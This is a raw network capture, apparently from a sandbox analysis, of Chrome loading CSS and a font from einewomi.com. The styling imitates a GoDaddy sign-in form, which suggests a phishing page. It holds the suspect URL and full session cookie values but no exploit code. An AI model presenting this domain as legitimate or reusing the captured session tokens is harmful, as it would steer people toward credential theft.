2024-04-24 21:08:03 UTC	1369	IN	Data Raw: 73 20 2e 6c 6f 61 64 69 6e 67 2d 63 6f 6e 74 61 69 6e 65 72 2e 6c 6f 61 64 69 6e 67 20 2e 64 6f 74 2d 66 6c 6f 61 74 69 6e 67 3a 6e 74 68 2d 63 68 69 6c 64 28 34 29 7b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 2e 35 73 7d 23 73 65 63 74 69 6f 6e 73 20 2e 6c 6f 61 64 69 6e 67 2d 63 6f 6e 74 61 69 6e 65 72 2e 6c 6f 61 64 69 6e 67 20 2e 64 6f 74 2d 66 6c 6f 61 74 69 6e 67 3a 6e 74 68 2d 63 68 69 6c 64 28 35 29 7b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 2e 36 35 73 7d 23 73 65 63 74 69 6f 6e 73 7b 68 65 69 67 68 74 3a 31 30 30 76 68 3b 77 69 64 74 68 3a 31 30 30 76 77 3b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 2d 63 65 6c 6c 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 7d 23 73 65 63 74 69 6f 6e 73 20 2e 73 65 63 74 69 6f 6e 63 6f 6e 74 65 6e 74 Data Ascii: s .loading-container.loading .dot-floating:nth-child(4){animation-delay:.5s}#sections .loading-container.loading .dot-floating:nth-child(5){animation-delay:.65s}#sections{height:100vh;width:100vw;display:table-cell;max-width:100%}#sections .sectioncontent
2024-04-24 21:08:03 UTC	1369	IN	Data Raw: 30 20 30 20 31 70 78 3b 68 65 69 67 68 74 3a 33 36 70 78 3b 6f 75 74 6c 69 6e 65 3a 30 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 3b 2d 77 65 62 6b 69 74 2d 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 77 69 64 74 68 3a 63 61 6c 63 28 31 30 30 25 20 2d 20 32 30 70 78 29 7d 2e 69 6e 70 75 74 3a 68 6f 76 65 72 2c 69 6e 70 75 74 5b 74 79 70 65 3d 65 6d 61 69 6c 5d 3a 68 6f 76 65 72 2c 69 6e 70 75 74 5b 74 79 70 65 3d 74 65 6c 5d 3a 68 6f 76 65 72 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 38 29 7d 2e 69 6e 70 75 74 3a 3a 70 6c 61 63 65 68 6f 6c 64 65 72 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 70 78 7d 23 61 75 74 68 63 61 6c 6c 64 Data Ascii: 0 0 1px;height:36px;outline:0;border-radius:0;-webkit-border-radius:0;background-color:transparent;width:calc(100% - 20px)}.input:hover,input[type=email]:hover,input[type=tel]:hover{border-color:rgba(0,0,0,.8)}.input::placeholder{font-size:15px}#authcalld
2024-04-24 21:08:03 UTC	1369	IN	Data Raw: 2d 62 6f 74 74 6f 6d 2d 6c 65 66 74 2d 72 61 64 69 75 73 3a 30 3b 62 6f 72 64 65 72 2d 74 6f 70 2d 6c 65 66 74 2d 72 61 64 69 75 73 3a 30 3b 62 6f 72 64 65 72 2d 6c 65 66 74 3a 30 7d 2e 61 6c 65 72 74 2d 65 72 72 6f 72 7b 63 6f 6c 6f 72 3a 23 65 38 31 31 32 33 7d 69 6e 70 75 74 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 2b 6c 61 62 65 6c 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 61 64 64 6f 6e 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 7d 2e 64 69 72 6c 74 72 7b 64 69 72 65 63 74 69 6f 6e 3a 6c 74 72 7d 2e 69 6e 70 75 74 2d 6d 61 78 2d 77 69 64 74 68 7b 6d 61 78 2d 77 69 64 74 68 3a 36 34 30 70 78 7d 2e 74 61 62 6c 65 2c 69 6e 70 75 74 7b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 7d 6c 61 62 65 6c 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 61 64 64 6f 6e 7b 62 Data Ascii: -bottom-left-radius:0;border-top-left-radius:0;border-left:0}.alert-error{color:#e81123}input.form-control+label.input-group-addon{border-radius:0}.dirltr{direction:ltr}.input-max-width{max-width:640px}.table,input{max-width:100%}label.input-group-addon{b

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49756	172.67.137.23	443	4668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:08:00 UTC	1398	OUT	GET /xycKEKEFEwwCncpq6Ycd30 HTTP/1.1 Host: jcq36.einewomi.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://jcq36.einewomi.com/opWIFXeQPwUDleHRlFYOXglfASDUJNPYISEKKQYRINTUSJURHFTOGRNOCEULEL?ClhWUfZlggCMPRqerKBkssUKSQEJWVCFYHRPJJEODRZJTXUUHAVFJFE Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlJ3TGgzbHEwLzRZanBGV0VSdEtiRHc9PSIsInZhbHVlIjoiMWtTVTN4aWVoak12QnZkRDJFVFBsZ09VcGlHWWNsekw4bzA3VFNYRTNjVll6WmdkUEREL3BCRFZ3MDBROUdMVFhSWXRaRjhNNGFTQ1JiOUI3QzdrMms1Mk9LbGxhTTFyZHpGa082VGtkazFMTzBHUTRFSEdrcGxpVExnazNZRjYiLCJtYWMiOiI0MDc1MzgwODcxODk1M2ZjNWIyZDEwOGUwZjVjNzgyZjY3MzQxODE4MmRiN2Q5NDYyZjU1NDIxNjU4YmUxNzBjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5qOGVaY0RPL25Na2ZDeE5NWGEzQVE9PSIsInZhbHVlIjoiUXQrTlZTc2pFM1diQmltTTZrS2VaOTBXa0F3WEFpTkptZklyTE9KK0FSMEc1bU9kMkZsZkJQaDU5aVBOZ1dDMUNER2ZGcDRWUDQ2djVGenhvRG1JVUt0MUJFQkdBV0JBSjRnL3JSS2xtOG5aMTVEYmQyd0VkRXYxMzMwS0dCa2wiLCJtYWMiOiIzZjliYjFmMzEwNWM2ZDJlOWZjMDIzMTY1Y2M1OGFiYWUyMzZmODc5NTkyN2Q4ZWUwMzViNTFlZTgyZWVlMGYzIiwidGFnIjoiIn0%3D
2024-04-24 21:08:01 UTC	636	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 21:08:01 GMT Content-Type: text/css;charset=UTF-8 Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="xycKEKEFEwwCncpq6Ycd30" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=z0o56Otv721Cbqs7315Vw%2BX0OcYglsrVglD1uar%2FeXi1jYjNUBpeycI5l4vs%2F4MW69qFIB0yJwwrmH9ziM5DebRWhZ%2B4VmDooqAT8DDgDtflhshmxsgXhflFOv0cKQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 879910f25f587c1e-LAX
2024-04-24 21:08:01 UTC	733	IN	Data Raw: 33 37 61 34 0d 0a 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 67 64 73 68 65 72 70 61 27 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 37 30 30 3b 73 72 63 3a 20 75 72 6c 28 27 2f 77 65 62 38 2f 61 73 73 65 74 73 2f 66 6f 6e 74 73 2f 47 44 53 68 65 72 70 61 2d 62 6f 6c 64 2e 77 6f 66 66 32 27 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 2c 75 72 6c 28 27 2f 77 65 62 38 2f 61 73 73 65 74 73 2f 66 6f 6e 74 73 2f 47 44 53 68 65 72 70 61 2d 62 6f 6c 64 2e 77 6f 66 66 27 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 27 29 3b 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 2d 31 30 46 46 46 46 3b 66 6f 6e 74 2d 64 69 73 70 6c 61 79 3a 20 73 77 61 70 3b 7d 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 Data Ascii: 37a4@font-face{font-family: 'gdsherpa';font-weight: 700;src: url('/web8/assets/fonts/GDSherpa-bold.woff2') format('woff2'),url('/web8/assets/fonts/GDSherpa-bold.woff') format('woff');unicode-range: U+0-10FFFF;font-display: swap;}@font-face{font-family:
2024-04-24 21:08:01 UTC	1369	IN	Data Raw: 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 31 20 39 30 30 3b 73 72 63 3a 20 75 72 6c 28 27 2f 77 65 62 38 2f 61 73 73 65 74 73 2f 66 6f 6e 74 73 2f 47 44 53 68 65 72 70 61 2d 76 66 32 2e 77 6f 66 66 32 27 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 2c 75 72 6c 28 27 2f 77 65 62 38 2f 61 73 73 65 74 73 2f 66 6f 6e 74 73 2f 47 44 53 68 65 72 70 61 2d 76 66 32 2e 77 6f 66 66 32 27 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 2d 76 61 72 69 61 74 69 6f 6e 73 27 29 3b 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 2d 31 30 46 46 46 46 3b 66 6f 6e 74 2d 64 69 73 70 6c 61 79 3a 20 73 77 61 70 3b 7d 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 67 64 2d 73 61 67 65 27 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 37 30 30 3b 73 Data Ascii: font-weight: 1 900;src: url('/web8/assets/fonts/GDSherpa-vf2.woff2') format('woff2'),url('/web8/assets/fonts/GDSherpa-vf2.woff2') format('woff2-variations');unicode-range: U+0-10FFFF;font-display: swap;}@font-face{font-family: 'gd-sage';font-weight: 700;s
2024-04-24 21:08:01 UTC	1369	IN	Data Raw: 65 6d 20 2d 20 31 2e 35 65 6d 29 20 2f 20 32 29 3b 0d 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0d 0a 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 76 61 72 28 2d 2d 75 78 2d 31 66 37 69 66 35 70 2c 75 6e 64 65 72 6c 69 6e 65 29 3b 0d 0a 20 20 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 76 61 72 28 2d 2d 75 78 2d 31 66 37 69 66 35 70 2c 75 6e 64 65 72 6c 69 6e 65 29 3b 0d 0a 20 20 67 61 70 3a 20 30 2e 35 65 6d 3b 0d 0a 20 20 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 0d 0a 20 20 2d 2d 75 78 2d 62 75 74 74 6f 6e 2d 69 63 6f 6e 2d 6d 61 72 67 69 6e 3a 20 63 61 6c 63 28 28 76 61 72 28 2d 2d 75 78 2d 74 33 37 39 6f 76 2c 76 61 72 28 2d 2d 75 78 2d 6a 77 35 73 39 6a 2c 31 2e 35 29 29 20 2a 20 31 65 6d 20 2d 20 31 Data Ascii: em - 1.5em) / 2); padding: 0; text-decoration: var(--ux-1f7if5p,underline); -webkit-text-decoration: var(--ux-1f7if5p,underline); gap: 0.5em; cursor: pointer; --ux-button-icon-margin: calc((var(--ux-t379ov,var(--ux-jw5s9j,1.5)) * 1em - 1
2024-04-24 21:08:01 UTC	1369	IN	Data Raw: 64 64 69 6e 67 2d 73 69 7a 65 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 73 70 61 63 65 2e 75 78 2d 73 70 61 63 65 2d 2d 62 6c 6f 63 6b 3a 65 6d 70 74 79 20 7b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 66 6c 65 78 3b 0d 0a 20 20 62 6c 6f 63 6b 2d 73 69 7a 65 3a 20 76 61 72 28 2d 2d 75 78 53 70 61 63 65 2d 2d 70 61 64 64 69 6e 67 2d 73 69 7a 65 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 73 70 61 63 65 2e 75 78 2d 73 70 61 63 65 2d 2d 62 6c 6f 63 6b 3a 6e 6f 74 28 3a 65 6d 70 74 79 29 20 7b 0d 0a 20 20 70 61 64 64 69 6e 67 2d 62 6c 6f 63 6b 3a 20 76 61 72 28 2d 2d 75 78 53 70 61 63 65 2d 2d 70 61 64 64 69 6e 67 2d 73 69 7a 65 29 3b 0d 0a 7d Data Ascii: dding-size);}#sections_godaddy .ux-space.ux-space--block:empty { display: inline-flex; block-size: var(--uxSpace--padding-size);}#sections_godaddy .ux-space.ux-space--block:not(:empty) { padding-block: var(--uxSpace--padding-size);}
2024-04-24 21:08:01 UTC	1369	IN	Data Raw: 78 2d 37 73 34 70 33 76 2c 31 2e 31 32 35 29 29 3b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 33 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 32 29 20 76 61 72 28 2d 2d 75 78 2d 79 34 70 67 38 7a 2c 2a 29 20 76 61 72 28 2d 2d 75 78 2d 37 73 34 70 33 76 2c 31 2e 31 32 35 29 29 3b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 34 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 33 29 20 76 61 72 28 2d 2d 75 78 2d 79 34 70 67 38 7a 2c 2a 29 20 76 61 72 28 2d 2d 75 78 2d 37 73 34 70 33 76 2c 31 2e 31 32 35 29 29 3b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 35 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 54 65 78 74 Data Ascii: x-7s4p3v,1.125)); --uxText--fontSize3: calc(var(--uxText--fontSize2) var(--ux-y4pg8z,) var(--ux-7s4p3v,1.125)); --uxText--fontSize4: calc(var(--uxText--fontSize3) var(--ux-y4pg8z,) var(--ux-7s4p3v,1.125)); --uxText--fontSize5: calc(var(--uxText
2024-04-24 21:08:01 UTC	1369	IN	Data Raw: 0d 0a 20 20 63 6f 6c 6f 72 3a 20 63 75 72 72 65 6e 74 43 6f 6c 6f 72 3b 0d 0a 20 20 66 69 6c 6c 3a 20 63 75 72 72 65 6e 74 43 6f 6c 6f 72 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 74 65 78 74 2d 69 6e 70 75 74 2d 73 68 65 6c 6c 20 2e 75 78 2d 74 65 78 74 2d 63 61 70 74 69 6f 6e 20 7b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 36 70 78 3b 0d 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 33 70 78 3b 0d 0a 7d 0d 0a 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 66 69 65 6c 64 2d 66 72 61 6d 65 2e 75 78 2d 66 69 65 6c 64 2d 66 72 61 6d 65 2d 2d 69 6e 76 61 6c 69 64 20 7b 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 44 42 31 38 30 32 20 21 69 6d 70 Data Ascii: color: currentColor; fill: currentColor;}#sections_godaddy .ux-text-input-shell .ux-text-caption { margin-top: 6px; font-size: 13px;}#sections_godaddy .ux-field-frame.ux-field-frame--invalid { border-color: #DB1802 !imp
2024-04-24 21:08:01 UTC	1369	IN	Data Raw: 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 73 72 2d 6f 6e 6c 79 20 7b 0d 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0d 0a 20 20 77 69 64 74 68 3a 20 31 70 78 3b 0d 0a 20 20 68 65 69 67 68 74 3a 20 31 70 78 3b 0d 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0d 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0d 0a 20 20 2d 77 65 62 6b 69 74 2d 63 6c 69 70 3a 20 72 65 63 74 28 30 2c 30 2c 30 2c 30 29 3b 0d 0a 20 20 63 6c 69 70 3a 20 72 65 63 74 28 30 2c 30 2c 30 2c 30 29 3b 0d 0a 20 20 77 68 69 74 65 2d 73 70 61 63 65 3a 20 6e 6f 77 72 61 70 3b 0d 0a 20 20 2d 77 65 62 6b 69 74 2d 63 6c 69 70 2d 70 61 74 68 3a 20 69 6e 73 65 74 28 35 30 25 29 3b 0d 0a 20 20 63 6c 69 70 2d 70 61 74 68 3a 20 69 6e 73 65 74 28 35 Data Ascii: #sections_godaddy .sr-only { position: absolute; width: 1px; height: 1px; padding: 0; overflow: hidden; -webkit-clip: rect(0,0,0,0); clip: rect(0,0,0,0); white-space: nowrap; -webkit-clip-path: inset(50%); clip-path: inset(5
2024-04-24 21:08:01 UTC	1369	IN	Data Raw: 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0d 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0d 0a 20 20 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 2e 30 39 33 37 35 72 65 6d 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0d 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0d 0a 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0d 0a 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 38 70 78 3b 0d 0a 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 38 70 78 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 63 6f 6e 74 61 69 6e 65 72 3a 3a 61 66 74 65 72 20 7b 0d 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 22 3b 0d 0a 20 20 64 69 73 70 6c 61 Data Ascii: : border-box; padding: 0; vertical-align: .09375rem;}#sections_godaddy .container { margin-left: auto; margin-right: auto; padding-left: 8px; padding-right: 8px;}#sections_godaddy .container::after { content: ""; displa
2024-04-24 21:08:01 UTC	1369	IN	Data Raw: 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 76 61 72 28 2d 2d 75 78 2d 39 37 68 33 76 6c 2c 23 64 33 64 33 64 33 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 63 61 72 64 20 2e 63 61 72 64 2d 62 6c 6f 63 6b 20 7b 0d 0a 20 20 70 61 64 64 69 6e 67 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 2d 31 73 62 66 69 67 38 2c 2e 32 35 72 65 6d 29 20 2a 20 35 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 66 6f 6e 74 2d 70 72 69 6d 61 72 79 2d 62 6f 6c 64 20 7b 0d 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 61 72 28 2d 2d 75 78 2d 31 30 36 37 70 68 39 2c 73 61 6e 73 2d 73 65 72 69 66 29 3b 0d 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 65 72 3b 0d 0a 7d 0d 0a Data Ascii: der: 1px solid var(--ux-97h3vl,#d3d3d3);}#sections_godaddy .ux-card .card-block { padding: calc(var(--ux-1sbfig8,.25rem) * 5);}#sections_godaddy .font-primary-bold { font-family: var(--ux-1067ph9,sans-serif); font-weight: bolder;}
2024-04-24 21:08:01 UTC	1369	IN	Data Raw: 6f 37 6a 75 30 68 2c 76 61 72 28 2d 2d 75 78 2d 39 71 70 66 36 63 2c 23 30 30 66 29 29 3b 0d 0a 20 20 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 75 78 2d 75 71 34 39 70 67 2c 76 61 72 28 2d 2d 75 78 2d 68 36 65 37 63 31 2c 23 66 66 66 29 29 3b 0d 0a 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 75 78 2d 34 68 76 6f 76 6e 2c 76 61 72 28 2d 2d 75 78 2d 31 78 6c 69 75 68 69 2c 74 72 61 6e 73 70 61 72 65 6e 74 29 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 62 75 74 74 6f 6e 2e 75 78 2d 62 75 74 74 6f 6e 2d 70 72 69 6d 61 72 79 20 7b 0d 0a 20 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0d 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 0d 0a 20 20 62 6f 72 64 65 72 2d 63 Data Ascii: o7ju0h,var(--ux-9qpf6c,#00f)); color: var(--ux-uq49pg,var(--ux-h6e7c1,#fff)); border-color: var(--ux-4hvovn,var(--ux-1xliuhi,transparent));}#sections_godaddy .ux-button.ux-button-primary { color: #fff; background-color: #000; border-c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49761	172.67.137.23	443	4668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:08:00 UTC	1417	OUT	GET /rspdG2mv8NZTvRyzmcBZuv40 HTTP/1.1 Host: jcq36.einewomi.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://jcq36.einewomi.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://jcq36.einewomi.com/opWIFXeQPwUDleHRlFYOXglfASDUJNPYISEKKQYRINTUSJURHFTOGRNOCEULEL?ClhWUfZlggCMPRqerKBkssUKSQEJWVCFYHRPJJEODRZJTXUUHAVFJFE Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlJ3TGgzbHEwLzRZanBGV0VSdEtiRHc9PSIsInZhbHVlIjoiMWtTVTN4aWVoak12QnZkRDJFVFBsZ09VcGlHWWNsekw4bzA3VFNYRTNjVll6WmdkUEREL3BCRFZ3MDBROUdMVFhSWXRaRjhNNGFTQ1JiOUI3QzdrMms1Mk9LbGxhTTFyZHpGa082VGtkazFMTzBHUTRFSEdrcGxpVExnazNZRjYiLCJtYWMiOiI0MDc1MzgwODcxODk1M2ZjNWIyZDEwOGUwZjVjNzgyZjY3MzQxODE4MmRiN2Q5NDYyZjU1NDIxNjU4YmUxNzBjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5qOGVaY0RPL25Na2ZDeE5NWGEzQVE9PSIsInZhbHVlIjoiUXQrTlZTc2pFM1diQmltTTZrS2VaOTBXa0F3WEFpTkptZklyTE9KK0FSMEc1bU9kMkZsZkJQaDU5aVBOZ1dDMUNER2ZGcDRWUDQ2djVGenhvRG1JVUt0MUJFQkdBV0JBSjRnL3JSS2xtOG5aMTVEYmQyd0VkRXYxMzMwS0dCa2wiLCJtYWMiOiIzZjliYjFmMzEwNWM2ZDJlOWZjMDIzMTY1Y2M1OGFiYWUyMzZmODc5NTkyN2Q4ZWUwMzViNTFlZTgyZWVlMGYzIiwidGFnIjoiIn0%3D
2024-04-24 21:08:01 UTC	617	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 21:08:01 GMT Content-Type: font/woff2 Content-Length: 28000 Connection: close Content-Disposition: inline; filename="rspdG2mv8NZTvRyzmcBZuv40" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nqHcavhZxb9EH7qApK40EizLYMj0hwjh%2FeVDJIHWrvh1F95DRDaUVhwbE9VZgUSUe5pRthV8ZJiLFk%2F4zPVm7EpkMEctZVR5GBfWrRPmdhj4l9EcgQzuhzccXGb4XQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 879910f25b170fe3-LAX
2024-04-24 21:08:01 UTC	752	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 6d 60 00 10 00 00 00 01 24 08 00 00 6c fd 00 01 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 81 9d 36 1c 89 16 06 60 00 8e 3c 08 3c 09 97 62 11 08 0a 82 bb 24 82 9c 7f 01 36 02 24 03 8e 78 0b 87 3e 00 04 20 05 8c 03 07 97 7b 0c 81 0d 5b 09 10 71 05 6b b7 5d 5d 4f 88 db 06 10 73 b3 fd a9 7c 99 02 6e 8c 9b c7 21 18 d6 5b 3c 3b 10 83 ee e0 50 26 a6 cf 67 ff ff ff bf 21 a9 c8 98 49 27 69 b7 0d 51 01 44 50 d5 df 9f c4 1e 39 02 92 4a a0 06 b7 80 17 c1 39 47 eb 95 e9 98 51 31 28 8b f2 29 4a 6e c6 19 d5 d4 c5 d4 38 59 f3 d2 1b f9 1a 98 29 4a ce 46 0e 63 20 41 96 af 37 6b ab 76 b3 8b e9 32 3d a1 5a ee 6e fa 34 60 12 ed 81 a0 c0 7e 4e 6c a4 81 ef 34 3b aa 91 07 53 f6 6c 7b 77 c7 c7 3a ae 23 d5 ee aa 3d 21 bc 20 Data Ascii: wOF2m`$lB6`<<b$6$x> {[qk]]Os\|n![<;P&g!I'iQDP9J9GQ1()Jn8Y)JFc A7kv2=Zn4`~Nl4;Sl{w:#=!
2024-04-24 21:08:01 UTC	1369	IN	Data Raw: 68 b0 50 00 7c 22 4d 93 ae 4a 51 a6 00 02 1a e0 df 3f 60 01 fc 53 40 7b df ed 6f 97 f6 52 6a 43 45 a1 71 78 8f 70 92 21 28 57 69 9f a4 1b eb 64 59 b5 25 ff 2f 72 f2 23 13 70 04 e7 43 20 15 c4 93 e2 e9 00 00 81 82 83 f3 72 1e 6f 34 50 f1 7d e4 e6 7f 33 58 92 99 5d 88 fc f3 a2 d4 ae 01 36 f2 9e 27 7e 26 b0 d3 c0 5d b7 b4 a7 2a 79 09 f4 8f b6 ff 59 51 82 a7 39 e1 22 76 b7 c3 17 cb 33 f0 af 90 a0 d9 6f 45 4d 51 6f 57 4d 16 57 60 cc 85 de 1f 9a 8a 01 13 c4 07 db cc a4 0e 94 94 10 82 59 08 56 81 8a 4f 32 11 7f ee f1 f8 f4 6c 83 02 c7 ac 9d 70 01 31 87 f4 42 a5 c2 bf 46 6e 0e 7f 6f 10 3c d0 ab a8 2c 43 8f f7 0f fd 97 f8 5e c0 59 e6 43 00 b6 fe 57 ae e9 b6 74 58 e2 11 7c a8 60 d2 a6 bc 97 35 3a f7 59 64 40 5d e5 12 6a 18 bb 24 b6 dc ca 76 b6 2a 43 18 44 fe 71 a9 Data Ascii: hP\|"MJQ?`S@{oRjCEqxp!(WidY%/r#pC ro4P}3X]6'~&]yYQ9"v3oEMQoWMW`YVO2lp1BFno<,C^YCWtX\|`5:Yd@]j$vCDq
